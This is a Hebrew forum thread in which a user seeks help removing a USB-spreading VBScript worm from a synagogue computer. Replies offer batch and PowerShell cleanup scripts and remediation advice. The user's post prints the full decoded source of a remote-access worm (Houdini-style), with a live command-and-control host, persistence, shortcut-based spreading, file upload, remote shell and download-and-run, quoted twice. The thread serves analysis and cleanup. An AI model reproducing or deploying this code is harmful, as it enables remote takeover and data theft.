                    		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                    		)
                    	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
                    		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
                    			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
                    			)
                    		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
                    			attrib -s -h -r "%%X\%%D\%%A"
                    			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                    			)
                    		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
                    		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
                    		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
                    		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
                    		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
                    		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                    		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
                    		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                    		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
                    		)
                    	set "AutoHK.NAPd="
                    	)
                    

                    המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                    cfopuserC מנותק
                    cfopuserC מנותק
                    cfopuser
                    כתב נערך לאחרונה על ידי
                    #9

                    @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                    או לכבות vbs דרך הריג'יסטרי.

                    מתכנת חובבמ תגובה 1 תגובה אחרונה
                    1
                    • cfopuserC cfopuser

                      @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                      או לכבות vbs דרך הריג'יסטרי.

                      מתכנת חובבמ מנותק
                      מתכנת חובבמ מנותק
                      מתכנת חובב
                      מדריכים
                      כתב נערך לאחרונה על ידי
                      #10

                      @cfopuser בשביל מה?
                      אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                      cfopuserC תגובה 1 תגובה אחרונה
                      0
                      • מתכנת חובבמ מתכנת חובב

                        @cfopuser בשביל מה?
                        אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                        cfopuserC מנותק
                        cfopuserC מנותק
                        cfopuser
                        כתב נערך לאחרונה על ידי
                        #11

                        @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        @cfopuser בשביל מה?

                        לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                        מתכנת חובבמ תגובה 1 תגובה אחרונה
                        0
                        • ר רנדומלי

                          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                          cmd /c hrxxryydxo.vbs && start explorer [file name]
                          

                          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                          

                          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                          לאחר פיענוח הקידוד התקבל הקוד הבא:
                          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                          e
                          '<[ recoder : houdini (c) skype : houdini-fx ]>
                          
                          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          host = "khattab.no-ip.biz"
                          port = 5550
                          installdir = "%temp%"
                          lnkfile = true
                          lnkfolder = true
                          
                          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          dim shellobj 
                          set shellobj = wscript.createobject("wscript.shell")
                          dim filesystemobj
                          set filesystemobj = createobject("scripting.filesystemobject")
                          dim httpobj
                          set httpobj = createobject("msxml2.xmlhttp")
                          
                          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                          
                          installname = wscript.scriptname
                          startup = shellobj.specialfolders ("startup") & "\"
                          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                          spliter = "<" & "|" & ">"
                          sleep = 5000 
                          dim response
                          dim cmd
                          dim param
                          info = ""
                          usbspreading = ""
                          startdate = ""
                          dim oneonce
                          
                          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                          on error resume next
                          
                          instance
                          while true
                          
                          install
                          
                          response = ""
                          response = post ("is-ready","")
                          cmd = split (response,spliter)
                          select case cmd (0)
                          case "excecute"
                                param = cmd (1)
                                execute param
                          case "update"
                                param = cmd (1)
                                oneonce.close
                                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                oneonce.write param
                                oneonce.close
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                wscript.quit 
                          case "uninstall"
                                uninstall
                          case "send"
                                download cmd (1),cmd (2)
                          case "site-send"
                                sitedownloader cmd (1),cmd (2)
                          case "recv"
                                param = cmd (1)
                                upload (param)
                          case  "enum-driver"
                                post "is-enum-driver",enumdriver  
                          case  "enum-faf"
                                param = cmd (1)
                                post "is-enum-faf",enumfaf (param)
                          case  "enum-process"
                                post "is-enum-process",enumprocess   
                          case  "cmd-shell"
                                param = cmd (1)
                                post "is-cmd-shell",cmdshell (param)  
                          case  "delete"
                                param = cmd (1)
                                deletefaf (param) 
                          case  "exit-process"
                                param = cmd (1)
                                exitprocess (param) 
                          case  "sleep"
                                param = cmd (1)
                                sleep = eval (param)        
                          end select
                          
                          wscript.sleep sleep
                          
                          wend
                          
                          sub install
                          on error resume next
                          dim lnkobj
                          dim filename
                          dim foldername
                          dim fileicon
                          dim foldericon
                          
                          upstart
                          for each drive in filesystemobj.drives
                          
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                              end if
                              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                  if not lnkfile then exit for
                                  if  instr (file.name,".") then
                                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                          file.attributes = 2+4
                                          if  ucase (file.name) <> ucase (installname) then
                                              filename = split(file.name,".")
                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                              lnkobj.windowstyle = 7
                                              lnkobj.targetpath = "cmd.exe"
                                              lnkobj.workingdirectory = ""
                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                              if  instr (fileicon,",") = 0 then
                                                  lnkobj.iconlocation = file.path
                                              else 
                                                  lnkobj.iconlocation = fileicon
                                              end if
                                              lnkobj.save()
                                          end if
                                      end if
                                  end if
                              next
                              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                  if not lnkfolder then exit for
                                  folder.attributes = 2+4
                                  foldername = folder.name
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                  if  instr (foldericon,",") = 0 then
                                      lnkobj.iconlocation = folder.path
                                  else 
                                      lnkobj.iconlocation = foldericon
                                  end if
                                  lnkobj.save()
                              next
                          end If
                          end If
                          end if
                          next
                          err.clear
                          end sub
                          
                          sub uninstall
                          on error resume next
                          dim filename
                          dim foldername
                          
                          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          filesystemobj.deletefile startup & installname ,true
                          filesystemobj.deletefile wscript.scriptfullname ,true
                          
                          for  each drive in filesystemobj.drives
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                   on error resume next
                                   if  instr (file.name,".") then
                                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                           file.attributes = 0
                                           if  ucase (file.name) <> ucase (installname) then
                                               filename = split(file.name,".")
                                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                           else
                                               filesystemobj.deletefile (drive.path & "\" & file.name)
                                           end If
                                       else
                                           filesystemobj.deletefile (file.path) 
                                       end if
                                   end if
                               next
                               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                   folder.attributes = 0
                               next
                          end if
                          end if
                          end if
                          next
                          wscript.quit
                          end sub
                          
                          function post (cmd ,param)
                          
                          post = param
                          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                          httpobj.setrequestheader "user-agent:",information
                          httpobj.send param
                          post = httpobj.responsetext
                          end function
                          
                          function information
                          on error resume next
                          if  inf = "" then
                              inf = hwid & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                          
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set os = root.execquery ("select * from win32_operatingsystem")
                              for each osinfo in os
                                 inf = inf & osinfo.caption & spliter  
                                 exit for
                              next
                              inf = inf & "plus" & spliter
                              inf = inf & security & spliter
                              inf = inf & usbspreading
                              information = inf  
                          else
                              information = inf
                          end if
                          end function
                          
                          sub upstart ()
                          on error resume Next
                          
                          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                          
                          end sub
                          
                          function hwid
                          on error resume next
                          
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set disks = root.execquery ("select * from win32_logicaldisk")
                          for each disk in disks
                              if  disk.volumeserialnumber <> "" then
                                  hwid = disk.volumeserialnumber
                                  exit for
                              end if
                          next
                          end function
                          
                          function security 
                          on error resume next
                          
                          security = ""
                          
                          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                          for each objitem in colitems
                              versionstr = split (objitem.version,".")
                          next
                          versionstr = split (colitems.version,".")
                          osversion = versionstr (0) & "."
                          for  x = 1 to ubound (versionstr)
                               osversion = osversion &  versionstr (i)
                          next
                          osversion = eval (osversion)
                          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                          
                          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                          
                          for each objantivirus in colantivirus
                              security  = security  & objantivirus.displayname & " ."
                          next
                          if security  = "" then security  = "nan-av"
                          end function
                          
                          function instance
                          on error resume next
                          
                          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                          if usbspreading = "" then
                             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                usbspreading = "true - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                             else
                                usbspreading = "false - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                          
                             end if
                          end If
                          
                          
                          upstart
                          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                              wscript.quit 
                          end If
                          err.clear
                          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                          if  err.number > 0 then wscript.quit
                          end function
                          
                          sub sitedownloader (fileurl,filename)
                          
                          strlink = fileurl
                          strsaveto = installdir & filename
                          set objhttpdownload = createobject("msxml2.xmlhttp" )
                          objhttpdownload.open "get", strlink, false
                          objhttpdownload.send
                          
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                           
                          if objhttpdownload.status = 200 then
                             dim  objstreamdownload
                             set  objstreamdownload = createobject("adodb.stream")
                             with objstreamdownload
                                  .type = 1 
                                  .open
                                  .write objhttpdownload.responsebody
                                  .savetofile strsaveto
                                  .close
                             end with
                             set objstreamdownload = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          sub download (fileurl,filedir)
                          
                          if filedir = "" then 
                             filedir = installdir
                          end if
                          
                          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                          set objhttpdownload = createobject("msxml2.xmlhttp")
                          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                          objhttpdownload.send ""
                               
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                          if  objhttpdownload.status = 200 then
                              dim  objstreamdownload
                              set  objstreamdownload = createobject("adodb.stream")
                              with objstreamdownload 
                                   .type = 1 
                                   .open
                                   .write objhttpdownload.responsebody
                                   .savetofile strsaveto
                                   .close
                              end with
                              set objstreamdownload  = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          function upload (fileurl)
                          
                          dim  httpobj,objstreamuploade,buffer
                          set  objstreamuploade = createobject("adodb.stream")
                          with objstreamuploade 
                               .type = 1 
                               .open
                               .loadfromfile fileurl
                               buffer = .read
                               .close
                          end with
                          set objstreamdownload = nothing
                          set httpobj = createobject("msxml2.xmlhttp")
                          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                          httpobj.send buffer
                          end function
                          
                          function enumdriver ()
                          
                          for  each drive in filesystemobj.drives
                          if   drive.isready = true then
                               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                          end if
                          next
                          end Function
                          
                          function enumfaf (enumdir)
                          
                          enumfaf = enumdir & spliter
                          for  each folder in filesystemobj.getfolder (enumdir).subfolders
                               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                          next
                          
                          for  each file in filesystemobj.getfolder (enumdir).files
                               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                          
                          next
                          end function
                          
                          function enumprocess ()
                          
                          on error resume next
                          
                          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_process",,48)
                          
                          dim objitem
                          for each objitem in colitems
                              enumprocess = enumprocess & objitem.name & "|"
                              enumprocess = enumprocess & objitem.processid & "|"
                              enumprocess = enumprocess & objitem.executablepath & spliter
                          next
                          end function
                          
                          sub exitprocess (pid)
                          on error resume next
                          
                          shellobj.run "taskkill /F /T /PID " & pid,7,true
                          end sub
                          
                          sub deletefaf (url)
                          on error resume next
                          
                          filesystemobj.deletefile url
                          filesystemobj.deletefolder url
                          
                          end sub
                          
                          function cmdshell (cmd)
                          
                          dim httpobj,oexec,readallfromany
                          
                          set oexec = shellobj.exec ("%comspec% /c " & cmd)
                          if not oexec.stdout.atendofstream then
                             readallfromany = oexec.stdout.readall
                          elseif not oexec.stderr.atendofstream then
                             readallfromany = oexec.stderr.readall
                          else 
                             readallfromany = ""
                          end if
                          
                          cmdshell = readallfromany
                          end function
                          
                          מתכנת חובבמ מנותק
                          מתכנת חובבמ מנותק
                          מתכנת חובב
                          מדריכים
                          כתב נערך לאחרונה על ידי
                          #12

                          @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

                          $vName = "hrxxryydxo"
                          $vFile = "$vName.vbs"
                          
                          Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
                          
                          # 1. עצירת התהליך החי במחשב
                          Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
                              Where-Object CommandLine -match $vName | 
                              Invoke-CimMethod -MethodName Terminate | Out-Null
                          Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
                          
                          # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
                          Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                          Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                          Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
                          Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
                          
                          # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
                          $tempDir = [System.IO.Path]::GetTempPath()
                          $startupDir = [Environment]::GetFolderPath('Startup')
                          Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
                          Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
                          Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
                          
                          
                          Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
                          
                          # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
                          $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
                          
                          if ($usbDrives.Count -eq 0) {
                              Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
                          } else {
                              foreach ($drive in $usbDrives) {
                                  $driveLetter = $drive.DeviceID + "\" 
                                  Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
                          
                                  # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                                  Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                                  Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
                          
                                  # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                                  Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                                      if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                                          $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                                          $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                                      }
                                  }
                                  Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
                              }
                          }
                          
                          Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
                          

                          לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

                          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                          תגובה 1 תגובה אחרונה
                          0
                          • cfopuserC cfopuser

                            @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            @cfopuser בשביל מה?

                            לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                            מתכנת חובבמ מנותק
                            מתכנת חובבמ מנותק
                            מתכנת חובב
                            מדריכים
                            כתב נערך לאחרונה על ידי מתכנת חובב
                            #13

                            @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
                            זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
                            עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

                            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                            תגובה 1 תגובה אחרונה
                            2
                            • ר רנדומלי

                              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                              cmd /c hrxxryydxo.vbs && start explorer [file name]
                              

                              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                              

                              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                              לאחר פיענוח הקידוד התקבל הקוד הבא:
                              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                              e
                              '<[ recoder : houdini (c) skype : houdini-fx ]>
                              
                              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              
                              host = "khattab.no-ip.biz"
                              port = 5550
                              installdir = "%temp%"
                              lnkfile = true
                              lnkfolder = true
                              
                              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                              
                              dim shellobj 
                              set shellobj = wscript.createobject("wscript.shell")
                              dim filesystemobj
                              set filesystemobj = createobject("scripting.filesystemobject")
                              dim httpobj
                              set httpobj = createobject("msxml2.xmlhttp")
                              
                              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                              
                              installname = wscript.scriptname
                              startup = shellobj.specialfolders ("startup") & "\"
                              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                              spliter = "<" & "|" & ">"
                              sleep = 5000 
                              dim response
                              dim cmd
                              dim param
                              info = ""
                              usbspreading = ""
                              startdate = ""
                              dim oneonce
                              
                              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                              on error resume next
                              
                              instance
                              while true
                              
                              install
                              
                              response = ""
                              response = post ("is-ready","")
                              cmd = split (response,spliter)
                              select case cmd (0)
                              case "excecute"
                                    param = cmd (1)
                                    execute param
                              case "update"
                                    param = cmd (1)
                                    oneonce.close
                                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                    oneonce.write param
                                    oneonce.close
                                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                    wscript.quit 
                              case "uninstall"
                                    uninstall
                              case "send"
